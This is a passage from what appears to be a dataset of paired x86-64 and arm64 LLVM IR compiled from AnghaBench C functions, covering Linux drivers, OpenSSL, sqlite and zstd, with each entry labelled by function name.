attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_9__", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !13, i64 0}
!12 = !{!"TYPE_11__", !13, i64 0, !8, i64 8}
!13 = !{!"int", !9, i64 0}
!14 = !{!12, !8, i64 8}
!15 = !{!16, !8, i64 8}
!16 = !{!"AggInfo_func", !13, i64 0, !13, i64 4, !8, i64 8}
!17 = !{!18, !8, i64 0}
!18 = !{!"TYPE_12__", !19, i64 0}
!19 = !{!"TYPE_8__", !8, i64 0}
!20 = !{!13, !13, i64 0}
!21 = !{!16, !13, i64 4}
!22 = !{!23, !13, i64 0}
!23 = !{!"TYPE_10__", !13, i64 0}
!24 = !{!16, !13, i64 0}
!25 = distinct !{!25, !26}
!26 = !{!"llvm.loop.mustprogress"}
| freebsd_contrib_sqlite3_extr_sqlite3.c_finalizeAggFunctions |
; ModuleID = 'AnghaBench/linux/drivers/staging/media/allegro-dvt/extr_allegro-core.c_allegro_subscribe_event.c'
source_filename = "AnghaBench/linux/drivers/staging/media/allegro-dvt/extr_allegro-core.c_allegro_subscribe_event.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @allegro_subscribe_event], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @allegro_subscribe_event(ptr noundef %0, ptr noundef %1) #0 {
%3 = load i32, ptr %1, align 4, !tbaa !5
%4 = icmp eq i32 %3, 128
br i1 %4, label %5, label %7
5: ; preds = %2
%6 = tail call i32 @v4l2_event_subscribe(ptr noundef %0, ptr noundef nonnull %1, i32 noundef 0, ptr noundef null) #2
br label %9
7: ; preds = %2
%8 = tail call i32 @v4l2_ctrl_subscribe_event(ptr noundef %0, ptr noundef nonnull %1) #2
br label %9
9: ; preds = %7, %5
%10 = phi i32 [ %6, %5 ], [ %8, %7 ]
ret i32 %10
}
declare i32 @v4l2_event_subscribe(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @v4l2_ctrl_subscribe_event(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"v4l2_event_subscription", !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/linux/drivers/staging/media/allegro-dvt/extr_allegro-core.c_allegro_subscribe_event.c'
source_filename = "AnghaBench/linux/drivers/staging/media/allegro-dvt/extr_allegro-core.c_allegro_subscribe_event.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @allegro_subscribe_event], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @allegro_subscribe_event(ptr noundef %0, ptr noundef %1) #0 {
%3 = load i32, ptr %1, align 4, !tbaa !6
%4 = icmp eq i32 %3, 128
br i1 %4, label %5, label %7
5: ; preds = %2
%6 = tail call i32 @v4l2_event_subscribe(ptr noundef %0, ptr noundef nonnull %1, i32 noundef 0, ptr noundef null) #2
br label %9
7: ; preds = %2
%8 = tail call i32 @v4l2_ctrl_subscribe_event(ptr noundef %0, ptr noundef nonnull %1) #2
br label %9
9: ; preds = %7, %5
%10 = phi i32 [ %6, %5 ], [ %8, %7 ]
ret i32 %10
}
declare i32 @v4l2_event_subscribe(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @v4l2_ctrl_subscribe_event(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"v4l2_event_subscription", !8, i64 0}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
| linux_drivers_staging_media_allegro-dvt_extr_allegro-core.c_allegro_subscribe_event |
; ModuleID = 'AnghaBench/freebsd/crypto/openssl/crypto/evp/extr_pmeth_gn.c_EVP_PKEY_new_mac_key.c'
source_filename = "AnghaBench/freebsd/crypto/openssl/crypto/evp/extr_pmeth_gn.c_EVP_PKEY_new_mac_key.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define dso_local ptr @EVP_PKEY_new_mac_key(i32 noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) local_unnamed_addr #0 {
%5 = alloca ptr, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
store ptr null, ptr %5, align 8, !tbaa !5
%6 = tail call ptr @EVP_PKEY_CTX_new_id(i32 noundef %0, ptr noundef %1) #3
%7 = icmp eq ptr %6, null
br i1 %7, label %19, label %8
8: ; preds = %4
%9 = tail call i64 @EVP_PKEY_keygen_init(ptr noundef nonnull %6) #3
%10 = icmp slt i64 %9, 1
br i1 %10, label %16, label %11
11: ; preds = %8
%12 = tail call i64 @EVP_PKEY_CTX_set_mac_key(ptr noundef nonnull %6, ptr noundef %2, i32 noundef %3) #3
%13 = icmp slt i64 %12, 1
br i1 %13, label %16, label %14
14: ; preds = %11
%15 = call i64 @EVP_PKEY_keygen(ptr noundef nonnull %6, ptr noundef nonnull %5) #3
br label %16
16: ; preds = %14, %11, %8
%17 = call i32 @EVP_PKEY_CTX_free(ptr noundef nonnull %6) #3
%18 = load ptr, ptr %5, align 8, !tbaa !5
br label %19
19: ; preds = %4, %16
%20 = phi ptr [ %18, %16 ], [ null, %4 ]
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
ret ptr %20
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @EVP_PKEY_CTX_new_id(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i64 @EVP_PKEY_keygen_init(ptr noundef) local_unnamed_addr #2
declare i64 @EVP_PKEY_CTX_set_mac_key(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i64 @EVP_PKEY_keygen(ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @EVP_PKEY_CTX_free(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"any pointer", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/freebsd/crypto/openssl/crypto/evp/extr_pmeth_gn.c_EVP_PKEY_new_mac_key.c'
source_filename = "AnghaBench/freebsd/crypto/openssl/crypto/evp/extr_pmeth_gn.c_EVP_PKEY_new_mac_key.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define ptr @EVP_PKEY_new_mac_key(i32 noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) local_unnamed_addr #0 {
%5 = alloca ptr, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
store ptr null, ptr %5, align 8, !tbaa !6
%6 = tail call ptr @EVP_PKEY_CTX_new_id(i32 noundef %0, ptr noundef %1) #3
%7 = icmp eq ptr %6, null
br i1 %7, label %19, label %8
8: ; preds = %4
%9 = tail call i64 @EVP_PKEY_keygen_init(ptr noundef nonnull %6) #3
%10 = icmp slt i64 %9, 1
br i1 %10, label %16, label %11
11: ; preds = %8
%12 = tail call i64 @EVP_PKEY_CTX_set_mac_key(ptr noundef nonnull %6, ptr noundef %2, i32 noundef %3) #3
%13 = icmp slt i64 %12, 1
br i1 %13, label %16, label %14
14: ; preds = %11
%15 = call i64 @EVP_PKEY_keygen(ptr noundef nonnull %6, ptr noundef nonnull %5) #3
br label %16
16: ; preds = %14, %11, %8
%17 = call i32 @EVP_PKEY_CTX_free(ptr noundef nonnull %6) #3
%18 = load ptr, ptr %5, align 8, !tbaa !6
br label %19
19: ; preds = %4, %16
%20 = phi ptr [ %18, %16 ], [ null, %4 ]
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
ret ptr %20
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @EVP_PKEY_CTX_new_id(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i64 @EVP_PKEY_keygen_init(ptr noundef) local_unnamed_addr #2
declare i64 @EVP_PKEY_CTX_set_mac_key(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i64 @EVP_PKEY_keygen(ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @EVP_PKEY_CTX_free(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| freebsd_crypto_openssl_crypto_evp_extr_pmeth_gn.c_EVP_PKEY_new_mac_key |
; ModuleID = 'AnghaBench/linux/sound/firewire/dice/extr_dice-stream.c_keep_resources.c'
source_filename = "AnghaBench/linux/sound/firewire/dice/extr_dice-stream.c_keep_resources.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @keep_resources], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @keep_resources(ptr nocapture noundef readonly %0, ptr noundef %1, ptr noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5) #0 {
%7 = icmp ugt i32 %3, 96000
%8 = zext i1 %7 to i32
%9 = shl i32 %4, %8
%10 = lshr i32 %3, %8
%11 = tail call i32 @amdtp_am824_set_parameters(ptr noundef %1, i32 noundef %10, i32 noundef %9, i32 noundef %5, i32 noundef %8) #2
%12 = icmp slt i32 %11, 0
br i1 %12, label %32, label %13
13: ; preds = %6
br i1 %7, label %14, label %26
14: ; preds = %13
%15 = and i32 %4, 2147483647
%16 = icmp eq i32 %15, 0
br i1 %16, label %26, label %17
17: ; preds = %14, %17
%18 = phi i32 [ %24, %17 ], [ 0, %14 ]
%19 = shl nuw i32 %18, 1
%20 = tail call i32 @amdtp_am824_set_pcm_position(ptr noundef %1, i32 noundef %18, i32 noundef %19) #2
%21 = add nuw i32 %18, %15
%22 = or disjoint i32 %19, 1
%23 = tail call i32 @amdtp_am824_set_pcm_position(ptr noundef %1, i32 noundef %21, i32 noundef %22) #2
%24 = add nuw nsw i32 %18, 1
%25 = icmp eq i32 %24, %15
br i1 %25, label %26, label %17, !llvm.loop !5
26: ; preds = %17, %14, %13
%27 = tail call i32 @amdtp_stream_get_max_payload(ptr noundef %1) #2
%28 = load i32, ptr %0, align 4, !tbaa !7
%29 = tail call ptr @fw_parent_device(i32 noundef %28) #2
%30 = load i32, ptr %29, align 4, !tbaa !12
%31 = tail call i32 @fw_iso_resources_allocate(ptr noundef %2, i32 noundef %27, i32 noundef %30) #2
br label %32
32: ; preds = %6, %26
%33 = phi i32 [ %31, %26 ], [ %11, %6 ]
ret i32 %33
}
declare i32 @amdtp_am824_set_parameters(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @amdtp_am824_set_pcm_position(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @fw_iso_resources_allocate(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @amdtp_stream_get_max_payload(ptr noundef) local_unnamed_addr #1
declare ptr @fw_parent_device(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = distinct !{!5, !6}
!6 = !{!"llvm.loop.mustprogress"}
!7 = !{!8, !9, i64 0}
!8 = !{!"snd_dice", !9, i64 0}
!9 = !{!"int", !10, i64 0}
!10 = !{!"omnipotent char", !11, i64 0}
!11 = !{!"Simple C/C++ TBAA"}
!12 = !{!13, !9, i64 0}
!13 = !{!"TYPE_2__", !9, i64 0}
| ; ModuleID = 'AnghaBench/linux/sound/firewire/dice/extr_dice-stream.c_keep_resources.c'
source_filename = "AnghaBench/linux/sound/firewire/dice/extr_dice-stream.c_keep_resources.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @keep_resources], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @keep_resources(ptr nocapture noundef readonly %0, ptr noundef %1, ptr noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5) #0 {
%7 = icmp ugt i32 %3, 96000
%8 = zext i1 %7 to i32
%9 = shl i32 %4, %8
%10 = lshr i32 %3, %8
%11 = tail call i32 @amdtp_am824_set_parameters(ptr noundef %1, i32 noundef %10, i32 noundef %9, i32 noundef %5, i32 noundef %8) #2
%12 = icmp slt i32 %11, 0
br i1 %12, label %32, label %13
13: ; preds = %6
br i1 %7, label %14, label %26
14: ; preds = %13
%15 = and i32 %4, 2147483647
%16 = icmp eq i32 %15, 0
br i1 %16, label %26, label %17
17: ; preds = %14, %17
%18 = phi i32 [ %24, %17 ], [ 0, %14 ]
%19 = shl nuw i32 %18, 1
%20 = tail call i32 @amdtp_am824_set_pcm_position(ptr noundef %1, i32 noundef %18, i32 noundef %19) #2
%21 = add nuw i32 %18, %15
%22 = or disjoint i32 %19, 1
%23 = tail call i32 @amdtp_am824_set_pcm_position(ptr noundef %1, i32 noundef %21, i32 noundef %22) #2
%24 = add nuw nsw i32 %18, 1
%25 = icmp eq i32 %24, %15
br i1 %25, label %26, label %17, !llvm.loop !6
26: ; preds = %17, %14, %13
%27 = tail call i32 @amdtp_stream_get_max_payload(ptr noundef %1) #2
%28 = load i32, ptr %0, align 4, !tbaa !8
%29 = tail call ptr @fw_parent_device(i32 noundef %28) #2
%30 = load i32, ptr %29, align 4, !tbaa !13
%31 = tail call i32 @fw_iso_resources_allocate(ptr noundef %2, i32 noundef %27, i32 noundef %30) #2
br label %32
32: ; preds = %6, %26
%33 = phi i32 [ %31, %26 ], [ %11, %6 ]
ret i32 %33
}
declare i32 @amdtp_am824_set_parameters(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @amdtp_am824_set_pcm_position(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @fw_iso_resources_allocate(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @amdtp_stream_get_max_payload(ptr noundef) local_unnamed_addr #1
declare ptr @fw_parent_device(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = !{!9, !10, i64 0}
!9 = !{!"snd_dice", !10, i64 0}
!10 = !{!"int", !11, i64 0}
!11 = !{!"omnipotent char", !12, i64 0}
!12 = !{!"Simple C/C++ TBAA"}
!13 = !{!14, !10, i64 0}
!14 = !{!"TYPE_2__", !10, i64 0}
| linux_sound_firewire_dice_extr_dice-stream.c_keep_resources |
; ModuleID = 'AnghaBench/freebsd/sys/contrib/zstd/examples/extr_dictionary_decompression.c_decompress.c'
source_filename = "AnghaBench/freebsd/sys/contrib/zstd/examples/extr_dictionary_decompression.c_decompress.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@ZSTD_CONTENTSIZE_ERROR = dso_local local_unnamed_addr constant i64 0, align 8
@.str = private unnamed_addr constant [28 x i8] c"%s: not compressed by zstd!\00", align 1
@ZSTD_CONTENTSIZE_UNKNOWN = dso_local local_unnamed_addr constant i64 0, align 8
@.str.1 = private unnamed_addr constant [27 x i8] c"%s: original size unknown!\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c"DictID mismatch: expected %u got %u\00", align 1
@.str.3 = private unnamed_addr constant [26 x i8] c"ZSTD_createDCtx() failed!\00", align 1
@.str.4 = private unnamed_addr constant [51 x i8] c"Impossible because zstd will check this condition!\00", align 1
@.str.5 = private unnamed_addr constant [20 x i8] c"%25s : %6u -> %7u \0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @decompress], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @decompress(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca i64, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3
%4 = call ptr @mallocAndLoadFile_orDie(ptr noundef %0, ptr noundef nonnull %3) #3
%5 = load i64, ptr %3, align 8, !tbaa !5
%6 = call i64 @ZSTD_getFrameContentSize(ptr noundef %4, i64 noundef %5) #3
%7 = icmp ne i64 %6, 0
%8 = zext i1 %7 to i32
%9 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %8, ptr noundef nonnull @.str, ptr noundef %0) #3
%10 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %8, ptr noundef nonnull @.str.1, ptr noundef %0) #3
%11 = call ptr @malloc_orDie(i64 noundef %6) #3
%12 = call i32 @ZSTD_getDictID_fromDDict(ptr noundef %1) #3
%13 = load i64, ptr %3, align 8, !tbaa !5
%14 = call i32 @ZSTD_getDictID_fromFrame(ptr noundef %4, i64 noundef %13) #3
%15 = icmp eq i32 %14, %12
%16 = zext i1 %15 to i32
%17 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %16, ptr noundef nonnull @.str.2, i32 noundef %12, i32 noundef %14) #3
%18 = call ptr (...) @ZSTD_createDCtx() #3
%19 = icmp ne ptr %18, null
%20 = zext i1 %19 to i32
%21 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %20, ptr noundef nonnull @.str.3) #3
%22 = load i64, ptr %3, align 8, !tbaa !5
%23 = call i64 @ZSTD_decompress_usingDDict(ptr noundef %18, ptr noundef %11, i64 noundef %6, ptr noundef %4, i64 noundef %22, ptr noundef %1) #3
%24 = call i32 @CHECK_ZSTD(i64 noundef %23) #3
%25 = icmp eq i64 %23, %6
%26 = zext i1 %25 to i32
%27 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %26, ptr noundef nonnull @.str.4) #3
%28 = load i64, ptr %3, align 8, !tbaa !5
%29 = trunc i64 %28 to i32
%30 = trunc i64 %6 to i32
%31 = call i32 @printf(ptr noundef nonnull @.str.5, ptr noundef %0, i32 noundef %29, i32 noundef %30) #3
%32 = call i32 @ZSTD_freeDCtx(ptr noundef %18) #3
%33 = call i32 @free(ptr noundef %11) #3
%34 = call i32 @free(ptr noundef %4) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @mallocAndLoadFile_orDie(ptr noundef, ptr noundef) local_unnamed_addr #2
declare i64 @ZSTD_getFrameContentSize(ptr noundef, i64 noundef) local_unnamed_addr #2
declare i32 @CHECK(i32 noundef, ptr noundef, ...) local_unnamed_addr #2
declare ptr @malloc_orDie(i64 noundef) local_unnamed_addr #2
declare i32 @ZSTD_getDictID_fromDDict(ptr noundef) local_unnamed_addr #2
declare i32 @ZSTD_getDictID_fromFrame(ptr noundef, i64 noundef) local_unnamed_addr #2
declare ptr @ZSTD_createDCtx(...) local_unnamed_addr #2
declare i64 @ZSTD_decompress_usingDDict(ptr noundef, ptr noundef, i64 noundef, ptr noundef, i64 noundef, ptr noundef) local_unnamed_addr #2
